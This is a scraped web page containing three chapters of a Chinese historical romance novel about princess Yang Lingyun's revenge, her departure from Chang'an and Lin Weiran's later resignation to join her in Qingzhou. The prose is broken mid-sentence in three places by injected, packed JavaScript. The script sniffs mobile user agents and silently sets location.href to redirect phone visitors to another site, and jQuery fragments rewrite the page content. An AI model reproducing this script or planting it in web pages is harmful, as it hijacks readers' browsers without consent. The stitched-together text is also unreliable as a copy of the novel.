p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014721|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很,所以把这封诏书给我。” “他说这诏书不能让他的人和你知道,他说他听你提起好几次我,所以托我把这封诏书和他的亲笔信呈给先帝,用这封足以让他重登大典的诏书换一张封赏你去青州的圣旨啊。” 杨灵允仿佛僵在原地,分明闻九的每一个字她都听得懂,但合起来仿佛就成了一团滚烫的浆糊,劈头盖脸地浇过来,烫得烧人,黏得作呕。 冷风还坚持不断地从高高的窗子中灌进来,冷热混杂间,闻九森冷的语调再次细细密密地钻进她耳中—— “可你从来就只把我当成一把称手的刀。如果你走了,所有的账不都落到我身上了吗?我怎么能让你走呢?” 闻九说着,又嗬嗬笑了起来,“公主殿下,你说好不好笑?他居然以为,我是你心腹啊!还把这么重要的东西交给了我,我都不知该说他天真还是可笑了。” “闭嘴。” 一片阴影在干草上缓缓变得浓重,杨灵允摇摇晃晃地站起来,眼底毫无亮光,声音很轻。 闻九终于掀起眼皮,嘴角勾出明显的弧度,在他深邃艳丽的五官染出一种鲜血淋淋的冷笑,愈发嘶哑的声音还在继续—— “公主殿下,不要小瞧任何人啊。你瞧,是你亲手把刀送到太子手上,是你亲手害死了太子。你跟先帝算了账,跟云氏算了账,也跟傅影傅令珏算了账,可还有最后一笔账没算呢。” 闻九的声音宛如毒蛇嘶嘶响起,“你自己呢?” “闭嘴。”杨灵允死死地捏紧了垂落在身侧的双手,用力得骨节泛白,鲜血自她掌心一滴滴落下,她很慢地,在原地踉跄了一下,才从喉咙中挤出沙哑的声音,“我会,先,送你去死。” 闻九从鼻腔里挤出浓重的一声嗤笑,毫不在乎:“反正我是个将死之人了。不过公主殿下,你呢?你渴求的自由其实是你哥哥的骨血铺成的,你怎么还能心安理得地享受呢?你不该去——” 死字还未说出口,闻九陡然瞪大了眼睛,难以置信地看着插入自己喉口的横刀。 他嗬嗬挣扎着想说话,但瞬间上涌的血气已经堵死了他的喉管——他什么声音也发不出来,只能感受到浓重的血腥味充斥着自己鼻腔,然后再无声响。 杨灵允迟钝地看着死不瞑目的闻九,直到一阵冷风伴着急匆匆的脚步声一同闯进牢房,她才意识到—— 闻九死了。 害死哥哥的人,现在就只剩她一个了。 她慢慢地上前,弯腰拔出闻九喉管处的刀—— “噗嗤”一声,鲜血飞溅了她一脸,失神的眼眸和刻骨的狠意同时浮现在这张秾丽的面孔上,杨灵允一点点举刀,抬手,脑子里什么都没剩了—— 青州的宅子、唾手可得的自由…… 林魏然、小皇帝…… 一切烟消云散。 只剩先太子温和含笑的面孔,消瘦疲惫的面孔,意气风发的他和深囚东宫的他在杨灵允眼前不断交错闪烁,最终汇聚成先太子面无表情的面孔—— 他的嘴一张一合,杨灵允听清了,他说的是—— “如果你没有引发三王之乱,这皇位也早晚是我的。是你的着急害死了我。” “哥哥……”杨灵允闭了眼睛,声音凝滞在喉咙中再难出来。 失神间她嗅到了浓重的血腥味,但却没有感受到丝毫痛意。 是死得太快,没有感受吗? 杨灵允等了好一会,忽然感受到自己的脖颈处传来温热的湿意,她才恍惚着睁开眼。 手上的刀被林魏然死死握住,鲜血从他手中汩汩落下,落在自己的脖颈间。 杨灵允手上用力想抽出刀,林魏然却仍旧用力握住锋利的刀刃,用另一只没受伤的手遮着她的脖颈,他看着她的眼睛,很小声地哀求。 他说:“宣和,别这样。” 78. 第 78 章 风再次吹灭了牢狱内的一盏,只剩甬道口的那盏灯火摇摇晃晃,又顽强地继续亮着,照着牢狱内的两张面孔—— 一张漠然,一张哀求。 血腥味一点点加重,风呜咽着闯进来,杨灵允仿佛是终于意识落地,陡然松开了手。 “哐当”一声,横刀落地,带起殷红的血丝。 林魏然边拽起官袍的衣袖替杨灵允擦拭落到脖颈上的血,边把另一边还在汩汩冒血的手藏在身后。 沉默无言。 丝绸滑过脖颈的触感很柔和,杨灵允几乎没什么感觉,身上沾着的血已经被抹去了。 林魏然擦干净了她脖颈处的血,又近乎强硬地将她按在自己怀中,用干净的那只手不停抚过她的后脑,声音愈发得轻:“宣和,别这样,表哥不会想看到你如今这副模样。” 他在安慰她,可自己的声音中都有微不可察的颤抖。 杨灵允沉默了良久,慢慢伸手环住了他。 瘦骨嶙峋的手渐渐往下,然后轻轻握住了林魏然鲜血淋漓的掌心。 “对不起。” 她轻声道。 林魏然担心血再沾到他身上,想抽出掌心,却被杨灵允用力握住,甚至十指相扣。 他不自觉滚动了一下喉结,刚想说话,杨灵允又开口了—— “我每次最狼狈的时候,都被你瞧见了。” 她声音里带着淡淡的笑意,似乎已经恢复了正常——先前那一番漠然举刀的行为仿佛都不存在。 林魏然愈发用力地搂住了她,薄唇摩挲在她耳边,哑声反复说:“不狼狈,你已经做得够好了,你什么都没做错。” 杨灵允在幽暗处轻轻握着林魏然的手心,她感受到半凝固的血在两人的掌心缓慢流动,直到冻结。 她忽然将下巴搁在林魏然肩上,然后反手遮住了他的眼睛,低低地嗯了一声。 “宣和……”林魏然陡然沙哑了声音,不管不顾地开口了,“我们走吧,离开长安吧,去青州,好不好?” 牢狱内已经漫开浓重的血腥味,还有闻九那双瞪大的眼睛,有些瘆人。 但林魏然仿佛什么都感觉不到,所有的感官都被杨灵允轻淡细微的呼吸声占据,他微微推开几步,拉开杨灵允覆在自己眼睛上的手,轻声喃喃:“宣和,我带你离开长安好不好?” 杨灵允沉默地僵在原地。 她意识模糊得快,清醒得也快。她确实要离开长安,她清楚地明白自己再在长安呆下去,会跟母后是一个下场。 但她不想林魏然放弃在长安的一切——那都是他自己挣来的。 “你走了,朝廷怎么办?”杨灵允滚动几下喉咙,轻声反问。 “不重要我不在乎,朝廷不缺我一人,”林魏然定定地看着杨灵允,甚至迫切到眼底染上微红,“我们——” 杨灵允抬手住了他的唇,嘴角弯起温柔的弧度,“但由你推行的政令,还需要你来支撑。你走了,那条政令也就半途而废了。” 说着,她忽然踮起脚尖,冰凉的唇轻轻贴在林魏然的薄唇上。 “林太傅,别辜负了陛下和哥哥。” 林魏然的指尖剧烈地颤抖起来。他想抬手把杨灵允抱紧,最好融入自己的骨血再也不分开,但又在杨灵允的轻声言语间失去了所有力气,受伤的掌心开始缓慢地再次淌血—— “滴答……滴答……” 血珠滚落,染湿了牢狱中的干草。风强烈地灌进来,最后一盏灯也被吹灭了。 牢狱之间一片黑暗。 这片黑暗牢牢跟随着林魏然,直到数日后的西北军报传来—— “西北胜了,但傅大将军死了。” 杨灵允比所有人都快一步收到这个消息——是傅令温带来的。 傅令温红着眼睛把军报扔在杨灵允脸上,声音沙哑:“我爹没了。” 杨灵允平静得毫无动摇,甚至没有去拆开那封军报,淡淡道:“圣旨已经拟好,由你接手西北军,傅令珏削去一切官职,逐出长安。” “你是人吗?”傅令温瞳孔骤缩,失态地怒吼出声,“这是我爹!他尸骨未寒!” “西北军不能一日无统率,”杨灵允掀起眼皮看她,语调沉静而漠然,“傅二小姐,你不接手西北军,难道要把西北军拱手让给旁人吗?” 细细的雪花再次飘落,傅令温声音愈发沙哑:“你与姐姐一点都不像,冷心冷肺。” 杨灵允缓缓阖上眼睛,从喉咙中挤出一声短促的笑,满含讥诮:“你口中的姐姐,在自戕的时候有没有想过我日后该如何在宫中过活?” “她死了,得到了她心心念念的自由,那我呢?”杨灵允阖眼倚着,身上还穿着朝服,通身都是长公主的气派和凌厉。 但她掀起眼皮的那一刻似乎又混进了一股极淡的脆弱,这股脆弱很快就被大雪压住,只剩平静的表象。 杨灵允拍了拍手,幼荷带出了一个身形消瘦的男子。 傅令温神色骤变,冲上去握住他的手:“哥!” 傅令珏在牢狱中不过短短几日,已经被磨去了所有的傲气和尖锐。 他没有质问傅令温为何在祭天之时帮着杨灵允,也没有怪罪是傅令温害他进了牢狱——如今再说这些是是非非已无半分用处。 傅影死了,他也背上了跟叛党勾结的罪名,就算傅令温在祭天那日出力颇多,长公主不追究,但那些太子旧臣未必愿意让傅氏的人再次接手西北军。 所以杨灵允如今是他们兄妹二人能安全回西北的唯一保障。 他缓缓回握住傅令温的手,轻声应了一声。 这兄妹情深的一幕让杨灵允颧骨下的皮肉微微颤动片刻,她狠狠闭了闭眼,才缓声道:“带着他滚回西北。这辈子都不要再出现在长安。不要脏了哥哥的地方。” 傅令珏在离开的最后一刻忽然看着杨灵允,姿态很低,声音也暗哑:“长公主,我爹曾经说想葬在长安。” 杨灵允阖上眼睛,声音漠然,毫不留情:“他死在西北是最体面的结局。” 傅令温还想再跟杨灵允理论几句,却被傅令珏制止了。他摇摇头,沉默地带着傅令温离开了。 —— 太极宫内,小皇帝刚刚打发了王正安等一干人。 这些人都对傅令温执掌西北军颇有异议,小皇帝应付得头痛,刚准备出去透透气,就看到御书房的门帘被再次掀开,一身朝服的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杨灵允轻声唤了小皇帝的乳名——这是一个很久没有人喊过的名字了,小皇帝一下就红了眼睛,手重重地磕在紫檀木桌上,发出一声脆响。 “陛下若得了空,来青州看我可好?”她扶起小皇帝磕到的那只手,轻声笑道,“我就在青州,若是去了旁的地方,也一定会写信告诉陛下的。” 两双相似的凤眼中都倒映着彼此的面容,御书房内只剩银炭细碎的爆裂声。 在满屋的死寂间,小皇帝似乎是想笑一笑,但面部皮肉痉挛着,最终只扯出一个很难看的弧度,垂眼轻声问道:“姐姐,真的不能留在长安吗?” “我不想留,也不能留,”杨灵允声音很温和,“陛下,其实每个人都是一个人来,一个人去,没有谁能陪着谁一辈子的。” “若父王没死呢?”小皇帝陡然抬头,但在对上杨灵允眼神的那一刻又垂了下来,揪着指尖小声道,“我知道,姐姐扶持我,帮我,都是因为父王。” 他喊的不是父皇,是父王。 杨灵允难得怔了片刻,“你……知道?” “早就知道了,”小皇帝小声嘟囔着,他此时终于露出些少年才有的沉不住气,“不管是姐姐还是姑姑,你都是我身边最重要的人。” 杨灵允吐出一口气,抬手揉了揉他的脑袋,轻声道:“就算哥哥登基,我也不会留在长安。” 小皇帝搓了搓脸,半晌放下手时大约是接受了不管怎么样都不可能留下杨灵允的事实,又小声问道:“那林太傅呢?姐姐打算怎么办?” 杨灵允很轻地笑了声:“他留在长安才是最好的。” 79. 第 79 章 十二月二十九,临安长公主杨灵允薨。 灵安帝大恸,全国服丧。 但后世大部分都推测长公主之死与灵安帝脱不开干系。 因为在长公主死后的第一年,灵安帝彻底掌权,开始雷厉风行地推动一系列改革政令,与帝师林魏然一同削弱世家,扶持寒门。 长公主死后第二年,朝堂中寒门出身的官员数量与世家出身的官员数量达到一种微妙的平衡,两方制衡,灵安帝手中的权柄愈发牢固。 长公主死后第三年,宁安侯告老还乡。 但林魏然并未承爵,只从刑部尚书调任吏部尚书,掌管天下官吏的任免,谁见了都要恭恭敬敬地唤一声——林相,或是林尚书。 年岁渐长后,他褪去了原本的少年气,周身变得愈发凌厉,带着一股生人勿进的冷漠,看了都叫人退避三舍。 “王尚书,”青州来的宁刺史拱手对王清安道谢,“若不是实在见不上林相,下官也不会麻烦王尚书。” 如今王清安已从刑部侍郎升任刑部尚书,王正安在去年致仕。如今朝中的王氏子弟,隐隐有了以他为首的趋势。 王清安看了眼这位从青州进京述职的宁舟宁刺史,淡淡道:“不麻烦。” 这几年来林魏然深居简出,除了上朝和当值的时候,从不见外人。但宁舟是进京述职的六品官,正常来说是可以见得上林魏然。 只是他来得时间太不凑巧,如今正是冬末,长公主的忌辰和生辰都在这个时间——每逢这一个月来,林魏然向来不见外人。 宁舟刚找上他时,他本想拒绝,但看见宁舟拿出的玉镯后瞬间改变了心思。 那只玉镯王清安时隔三年也忘不了——这是他与林魏然一起去找高僧开光、长公主最后几个月常常戴着的玉镯。 所以他最后将人带到了林魏然的那间小院,叩响了门。 只是过了好一会,门内也没有动静。 宁舟有些沉不住气:“王尚书莫非弄错了,林相当真住这?” 这间年岁已久的小院,显然与林魏然如今的身份地位非常不相符。 被一个小辈质疑,王清安心底有些不痛快,但又担心此人与长公主有什么关系,没敢发作,只默默白了他一眼,再次叩了叩门。 这回门内终于有了声响。 “吱呀”一声,院门被推开,林魏然削瘦的面孔出现在门后。他神色厌倦,还带着一股浓重的不耐烦—— “做什么?” 宁舟见到他,下意识颤抖一下,咽了咽喉咙,才硬着头皮道:“青州刺史宁舟拜见林相。” 林魏然没分给他半分眼神,面无表情地看王清安:“你带一个外人来我家做什么?” 王清安低声道:“林相,玉镯——在他手上。” 寒风呼啸而过,带去浓浓的冷意。但这冷意也没盖过林魏然冷漠的脸色,他垂眼片刻,扬手关门:“让她自己来。” 王清安微怔,没想到林魏然是这副态度。 但宁舟大约是没听懂林魏然的话,眼疾手快地拦住了他关门的动作:“林相,下官此次前来,是替杨姑娘捎东西的。” 不知是哪个字戳中了林魏然的神经,他听到这话后,忽然停了动作,沉默片刻,然后打开了门。 院内还留着杨灵允在时最喜欢的那架秋千,林魏然站在秋千旁,寒风吹起他的黑衣,勾出他削瘦挺拔的身形。 他神色冷漠:“她在哪?” 宁舟愣了下,才回过神来,“您说杨姑娘啊,她每逢冬日都会旧疾复发,所以只能拜托下官。” “她如何跟你说的?”林魏然以一种咄咄逼人的口吻问道。 连王清安都有些受不住这种逼问人犯的口吻,但宁舟不愧是杨灵允特意选出来的人,顶着林魏然的威压开口道:“杨姑娘说您是她的救命恩人。但她在青州养病实在离不开,所以托我把谢礼送给您。” 他说着,又拿出那只悉心保存在黑匣中的玉镯——玉的颜色温润一如三年前,看得出来是被主人悉心爱护着。 林魏然垂眸盯着盈盈泛光的玉镯,片刻后又盯着宁舟,“你如何与她认识的?” 这话中带着明显的占有欲和逼问,宁舟心底涌上些许不快,微微皱眉,放下手中包袱:“这与林相无关。东西我送到,先离开了。” “站住,”林魏然身形一闪,便挡住了宁舟的退路,他微微眯眼看着宁舟,脸上露出明显的不悦,“你还没有说清楚,她为何会托你来送东西?” 离得很近,宁舟忽然嗅到了一股很熟悉的桂花味——这是杨姑娘最惯用的香。 他眉心骤跳,下意识道:“我与宣和交情深,宣和托我送东西,有何不可?” “宣,和,”林魏然唇齿间滚过这两个字,从喉中低低地溢出一声笑,“你喊她,宣和?” 宁舟扬眉,不甘示弱:“是啊,下官只是来送东西的,东西送完了,还请林相让让路。” 林魏然视若无睹,细细审视着眼前的人——他看上去比自己小些,脸庞还透着几分少年气,是杨灵允会喜欢的那种类型。 在他沉默间,王清安上前想打圆场,一时有些后悔将人带了来。 “东西留下,快点滚。”林魏然向宁舟伸出了手,神色再次变得冷漠。 宁舟指指院子桌上的布包,“东西就在那。” “玉镯,”林魏然咬牙重复了一遍,“把玉镯留下。” 宁舟一下护住了手中黑匣,警惕道:“不行,这是杨姑娘的东西。” 王清安连忙上前拉了拉他衣袖,示意他别跟林魏然唱反调。 但宁舟在这事上固执得很,死死握着手中的一方黑匣,扬头瞪着林魏然。 片刻之后,林魏然嘴角忽然弯出一个嘲讽的弧度,声音里却毫无笑意,甚至比寒风还冷冽三分:“她没告诉你,这是我送给她的吗?” 宁舟一怔,被林魏然这话定在原地——他想起来过去一年杨姑娘是如何珍视这只玉镯,又是如何客气但疏离地拒绝了他所有的示好。 他以为,是自己诚心不足,才打动不了杨姑娘。可眼前这个一脸冷漠的男人,凭什么杨姑娘就会收下他的东西? 在片刻的失神间,林魏然已经抬手夺下他手中的玉镯,王清安拽着宁舟与林魏然告别了。 小院门关上时发出重重一声响,才惊醒了神思恍惚的宁舟。他转头看王清安,呐呐问道:“王尚书,林相与杨姑娘……” 王清安没想到,宁舟回神后的第一句话不是问把林魏然得罪了会不会仕途受损,却是问长公主与林尚书到底什么关系。 他沉默片刻,摆摆手,什么也没说,只道:“别在林尚书面前晃悠了,惹他心烦。” 外面的宁舟满腹不甘——他始终觉着自己不比林魏然差。 林魏然虽然官职高,但他不孝的罪名是全天下皆知的。他这几年为了推行政令,在朝中进行了好几拨的大换血,连自己的亲爹和老师都被他逼离了朝堂,更别说还有多少人被他逼出京城,这辈子都难以回家。 杨姑娘那般温柔良善,还有那么大的家业,不可能会喜欢这种人。 自己虽说是寒门出身,但年纪轻轻已经是六品官了,日后等他累积了政绩,封侯拜相也只是时间问题。 想到这里,宁舟更坚定了自己的想法,回头瞪了眼那扇饱经风霜的门,才缓步离开。 门内,林魏然盯着宁舟带来的那个包袱,他仿佛脚下生根,几步路也走不了。 杨灵允分明已经放弃了他,已经替他做了决定,如今又让对她有意的愣头青来替她给自己送东西,到底是什么意思? 半晌,寒风呜咽,寒意扑了林魏然一脸,天光渐渐暗淡,天地之间慢慢落雪。 雪花扑在他脸上,刺骨的寒意终于唤回了林魏然的神智。 他狠狠一咬牙,抬脚上前撕开了包裹。 里面是一沓厚厚的信。 林魏然怔在原地,难以自控地读了下去——都是杨灵允的笔迹,一笔一画写尽了她在青州三年的喜怒哀乐。 最后一封信,她写道:“今年冬日,青州没有下雪,比长安暖和,我很喜欢。容时哥哥,你想来看看吗?” 林魏然指尖开始微微发颤,薄薄一张纸飘落在雪地。他急忙蹲下捡起来,生怕被雪打湿了。 纸张上还带着淡淡的桂花味,与他这里浓重的桂花味混在一起,林魏然失神地盯着这短短一行字,然后缓慢地伸手遮住了眼睛。 削瘦的脸上沾着片片雪花,遮住了微微颤抖的皮肉。 灵安五年春,权倾朝野的帝师林魏然忽然辞官,就此消失在长安百官的视野中。 有人说,是灵安帝认为林魏然权势太盛,卸磨杀驴。也有人说,林魏然是转入暗处,替灵安帝巡视各州。 流言纷纷,说什么的都有。 但这些流言都传不到青州去。 初春的青州已没了半分寒意,杨灵允的宅子郁郁葱葱,花团锦簇。 她三年前从长安离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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门外响起敲门声,幼荷见杨灵允一副懒得理会的模样,叹口气起身开门,然后瞬间僵在原地—— “林……” 林魏然冲着幼荷竖起指尖,示意她噤声,自己抬脚迈入了这座杨灵允精心装饰的宅子。 幼荷神色复杂地纠结片刻,转身离开了这个是非之地。 “谁啊?”杨灵允见门那边一直没有声音,疑惑地转头。 两双眼猝不及防地撞在一起,杨灵允愣在原地,手一松,剪子直接掉落在草地上。 林魏然显然是赶了一路来的,风尘仆仆,瘦了很多,削瘦的脸颊上只余凌厉,再无半分过去的少年气。 “你……”杨灵允下意识地想抬手摸摸他的脸,手心却极快地被林魏然攥住。 但林魏然始终没用半点力,就这样攥着她的手,脸色沉沉地盯着她。 冬日刚过,杨灵允冬日旧疾发作后还没养回来,如今脸上依旧带着明显的病气。 不过她眼睛很明亮,眉眼间都是松快,不像林魏然这些年始终冷着脸,眉眼间已经固定着几分不耐的厌倦。 “你当真没良心。”林魏然定定地看着她的眼睛,轻声开口。 他的脸色和言语看上去都是来兴师问罪的,可杨灵允在这仿佛质问的场景中,竟忽然咬唇笑开了。 然后她踮脚抱住了林魏然的脖颈,苍白的唇擦过他的耳垂,低声地笑道—— “但你还是来了。” 林魏然任由她抱住,手一点点抚上她的后颈,像过去那样有一搭没一搭地捏着。 初春暖阳下,他从胸腔中吐出一口气,用下巴蹭了蹭杨灵允,低声道:“你就仗着我爱你。” 团在他后颈处的指尖在似抱怨似纵容的言语中,开始缓慢游动,划过男人跳动的侧颈时,杨灵允轻声道:“你这次来青州多久?我都陪着你。” 林魏然嘴角忽然就扬起细微的弧度,他将杨灵允拉开些许,再对视时眼底已经染上细微的笑意—— “那你要陪我一辈子了。” 杨灵允一怔,有些难以置信,“你……辞官了?” 林魏然阖了阖眼,然后捧着杨灵允的双颊低头衔住了她的唇,他仿佛泄愤般,在杨灵允唇上咬了一口,又在唇齿相交间带起暧昧的声音。 过了好一会,他才松开,指腹反复不断地摩挲着杨灵允的侧脸,沙哑的声音中流露出止都止不住的笑意:“嗯。” 盈盈泛光的玉镯再次被林魏然套上杨灵允的手腕,杨灵允相较三年前还是养回了不少,玉镯圈着莹白的手腕,已经不会再滑到手肘处了。 林魏然的指尖从杨灵允的面孔下滑至她的手腕,摩挲的动作也带起了暧昧的热意。 他盯着杨灵允的眼底渐渐泛起另一种欲念,哑声道:“不许再给那个姓宁的。” 杨灵允笑了笑,冰凉的唇滑过林魏然的颈间,她含笑道:“好。” 80. 番外一:杨灵允的心病 林魏然来青州的第三日,宁舟便再次上门拜访了杨灵允。 杨灵允的宅子位于青州城中的山脚下,附近无人,远离青州城中心。宁舟从刺史府过来也要走上不少路。所以他到达后,在门口整理了一番衣着,才敲门。 寻常他敲一声,钱其便会来开门。但今日他敲了三声,门内才传来慢悠悠的脚步声,大门缓慢开启,宁舟在看清来人面孔时瞬间僵住—— “林……相?” 林魏然辞官的消息还没从长安传来,宁舟简直怀疑是自己眼花了。 他下意识地揉揉眼睛,但林魏然面孔依旧清清楚楚地倒影在眼底。 林魏然见他这幅怔愣的模样,漫不经心地弹弹衣袖,淡淡道:“在下已经辞官,担不起宁刺史这一句林相。” “你怎么会在这?”宁舟脑海里的一根弦瞬间绷断,脱口问道。 “我为何不能在这?”林魏然仿佛是听到了什么笑话,低低笑了一声,“倒是宁刺史,清早上门找宣和是有何要事?” “我……”宁舟被他这模样怔了片刻,回过神来才强装出一副冷硬的嗓音问道,“你和杨姑娘是什么关系?” “我为何要告诉你?我还有一句话要奉劝宁刺史,没事就别随便来别人家,平白给宣和添麻烦。” 林魏然嘴角弯起淡淡的弧度,声音平静无波。 “本官找杨姑娘有事!”宁舟不甘示弱地瞪着他,“你什么意思?” “谁啊?”里面传来懒懒的女声,杨灵允披着件墨色的宽大披风出现在门口。 宁舟眼睛陡亮,上手就要拨开林魏然隔在两人之间的手,“杨姑娘,听闻福安酒楼在青州西城开了分店,在下是来祝贺杨姑娘的。” 但林魏然的手仍旧死死地握着门环,阻止了宁舟继续往前,最后还是杨灵允拍下了林魏然的手,对宁舟扬起客气又敷衍的笑—— “多谢刺史好意,不过那间酒楼是赵掌柜在管,刺史要祝贺还是去祝贺赵掌柜吧。” “我今日还有事,就不留刺史了。” 杨灵允说着,便毫不留情地关上了门。 其实宁舟往日也常常在杨灵允这碰灰,但这一次他的不甘心达到了最盛——因为林魏然。 他脸色沉沉地看了朱红的大门好一会,才咬牙地离开了。 门内,林魏然小声嘟囔了几句:“你对那个姓宁的倒是宽容。” 杨灵允没好气地打了他一下:“难道比得上我对你的宽容?” 她眼尾还染着微红,细白的脖颈上也留着泛红的印记——都是林魏然这几日胡闹留下的。 林魏然听得出她话中有话,有些不好意思地摸摸鼻尖,但又道:“幼荷说他烦了你快一年了,怎么还不死心?” 杨灵允头疼地捏捏眉心:“我如何知道?我还以为他去一趟长安,你能让他死心呢。” “我们成婚吧!”林魏然忽然开口,眼睛微亮地看着杨灵允,“让所有人都知道我们才是一对的,他肯定就不会再来烦你了。” 他眼底带着藏不住的期待。杨灵允却下意识地垂眼,轻声道:“其实他见你我在一起,时间久了自然也就死心了。” 这话一出口,她便觉得有些不对,又抬眼想看林魏然。但林魏然这几年的面上功夫愈发炉火纯青,只眨了眨眼,转瞬间便恢复寻常的模样,轻声笑道—— “好罢。” 接下来的几天内,林魏然再没提过此事,他们的日子仿佛又恢复成了以前模样。除非要事,杨灵允很少出门,成日在院子中摆弄那些花花草草。 林魏然便也极少出门,几乎都在院子中陪着杨灵允。 但这日,林魏然说有个巡案御史到了青州,他得去见一面,所以只剩杨灵允独自坐在院子中发呆。 四下无人,杨灵允被暖风吹得昏昏欲睡,但在意识沉沦间脑子里又再次划过林魏然这几日偶然露出的心事重重的模样。 他是不是后悔了?他去见那巡案刺史,是不是就是因为后悔离开长安? 杨灵允睡意彻底消散,翻来覆去地想着,却只能想到这个她极度抵触的推测。 她烦躁地搓了搓脸,想着要不要等林魏然回来把话说清楚。 若他真想回长安…… 想到这里,杨灵允心底便是一阵堵得慌,但转瞬间又觉得自己做人不能太过分——这也是人之常情不是吗? 毕竟谁愿意从一个权倾朝野的宰相变成一个普通人? 日头一点一点西移,杨灵允没有等来林魏然,反倒等来了另一位不速之客——宁舟。 她本来心情就不好,如今更是烦上加烦,如今连敷衍的笑也没了,一心只想打发走宁舟。 但宁舟却闪身露出自己身后的两人,一脸诚恳:“这两位是林家人,杨姑娘,我只是想让你看清林魏然的真面目。” 他大约是收到了从长安传回来的消息,确认了林魏然如今当真是一介白身,才敢这般肆无忌惮。 杨灵允眯了眯眼,停止了关门的动作:“什么真面目?” “不忠不孝,背信弃义的真面目。”宁舟义正言辞。 他身后那两人也连连点头,说他们如今家主的亲弟弟林清焰是林魏然的亲生父亲,却被林魏然逼离了长安,如今整个林家上下,林魏然都是不可言的忌讳。 “你瞧,”宁舟连忙道,“连他自己的家族都不认他,更说明他不是一个可靠的人啊。长安的消息也传回青州了,他定是因为被陛下削去所有官职没收了田产,落魄得没地方去,才借着交情来姑娘这白吃白喝,姑娘这么大的家业,莫要被小人骗了啊。” 初春的风吹来暖意,杨灵允脸色却忽然变得有些冷,她缓缓开口:“宁刺史,我没记错的话,你是灵安四年来青州做刺史的吧?” 宁舟微怔,“是,不过这与……” 杨灵允毫不客气地打断了他:“你出身普通。放在之前,最高也就只能做到一个下州的刺史。但你如今年纪尚轻就做到了一个中州的刺史,你难道都不知道为何吗?” 这话打得宁舟措手不及,瞬间涨红了脸,一时哑口无言。他显然知道灵安帝与林魏然一同扶持寒门的政令,也清楚自己便是被扶持的其中之一。 但,杨灵允为何会对这些知道得如此清楚? 还没等宁舟开口,杨灵允便轻嘲开口,“林魏然当初顶着世家的骂声和针对扶持寒门。我以为不管如何,至少你们不该在背后骂他。” “他扶持寒门不也是为了讨陛下的好!”宁舟在赤裸裸的事实被揭露后不甘得脱口而出。 但在对上杨灵允似笑非笑的眼神时,他咬咬牙,忽然又放软了声音,“杨姑娘,我知你从前身份定然不低。我只是想提醒你一下林魏然是怎样的人。我觉得,相比他,我更适合你。” “陛下如今有意扶持寒门,只要我努力一定能升官。到时候,我也一定会为你挣一副凤冠霞帔回来。” 杨灵允沉默片刻,忽然扯了扯嘴角,轻慢开口:“宁舟,你都知道我从前身份不低,你觉得我还缺你那一副凤冠霞帔?” 过去一年,她从未拿自己的身份说事,更不会用俯视的口吻说这种高高在上的话。 宁舟嘴角好不容易浮起来的笑意再次僵住。 杨灵允冷眼瞧了片刻,才缓缓开口:“宁舟,好好做你的刺史吧。别来烦我,也别再拉着两个不知道出了林氏几服的旁支骂他。” 她说着便要关门。 宁舟一把拦住,清俊的脸上带了几分扭曲的不甘:“为什么是林魏然?他没了权势没了地位,他除了剩一张脸还有什么?” 在杨灵允面无表情的注视下,宁舟口不择言:“还是你觉得他能东山再起,你跟着他能做宰相夫人?” 在他贫瘠的经验中,宰相夫人已经是女子能达到的最高地位。他觉得杨灵允从前身份再高,也不过哪个世家大族的女儿。 这话让杨灵允彻底丧失了所有耐心,她冷淡开口:“宁舟,权势地位我都曾得到过,如今我想要的不是这些。若要跟我成婚,那人必得无条件,纯粹地,放弃一切地爱我。” “你能吗?”杨灵允的语调中染上细微的嘲讽之意。 而也就在这话脱口而出的瞬间,杨灵允倏然回想起幼荷先前的评价——扭曲的感情。 不得不承认,或许幼荷有时说的话确实有几分道理。 宁舟被杨灵允此时冷漠的高高在上的模样怔在原地,片刻之后才回神,又咬牙问道:“那你以为林魏然就能做得到吗?” “他曾经位极人臣,怎么可能甘心做一个商户的赘婿?”宁舟面上的皮肉微微痉挛,声音沙哑,“你真的觉得他是真心实意地爱你?” 仿佛被这话戳中心底最深处的不安,杨灵允倏然沉默。 宁舟见状,自觉戳中了心思,连忙乘胜追击,神色恳切:“杨姑娘,未必要放弃一切才能证明爱意。若你嫁与我,我发誓这辈子都会爱你,只爱你一人。” 半晌沉默后,杨灵允抬头看了看泛黄的天色,语调平静地开口了:“你说得不错,未必要放弃一切才能证明爱。但我与林魏然相识十几载。如果你没有任何能够证明爱我的举动,我凭什么选你不选他?” “凭你这小小的六品官之位吗?” 说着,杨灵允喉间溢出一声低低的笑,“宁舟,我不敢说我爱他。但我能肯定的是我不爱你,不管怎么样,我都不可能爱你。你于我来说就是一个烦心的麻烦。” 这些话无异于在宁舟脸上狠狠扇一巴掌,再多的爱慕和心动也在杨灵允毫不留情甚至高高在上的言语中消失殆尽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043309|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宁舟脸色非常难看地转身离开。 但没走几步,他就撞上了林魏然——林魏然像是在这里站了很久。 宁舟忽然冷笑一声:“得意什么?你对她来说也就是个无聊时打发时间的玩意,她那种人的心,捂不热。” 林魏然淡淡地笑了笑,甚至还伸手拍了拍宁舟的肩:“那又如何?我爱她足矣。” 在宁舟陡然变得难以置信的目光中,林魏然平静道:“宁刺史,我看过你在青州的这一年政绩,你是个好官。好好做你该做的吧。” 宁舟的神色一时变得很复杂,他恍惚间觉得其实杨灵允和林魏然压根就没把自己放在眼里——他们从来就不觉得自己能够破坏他们的关系。 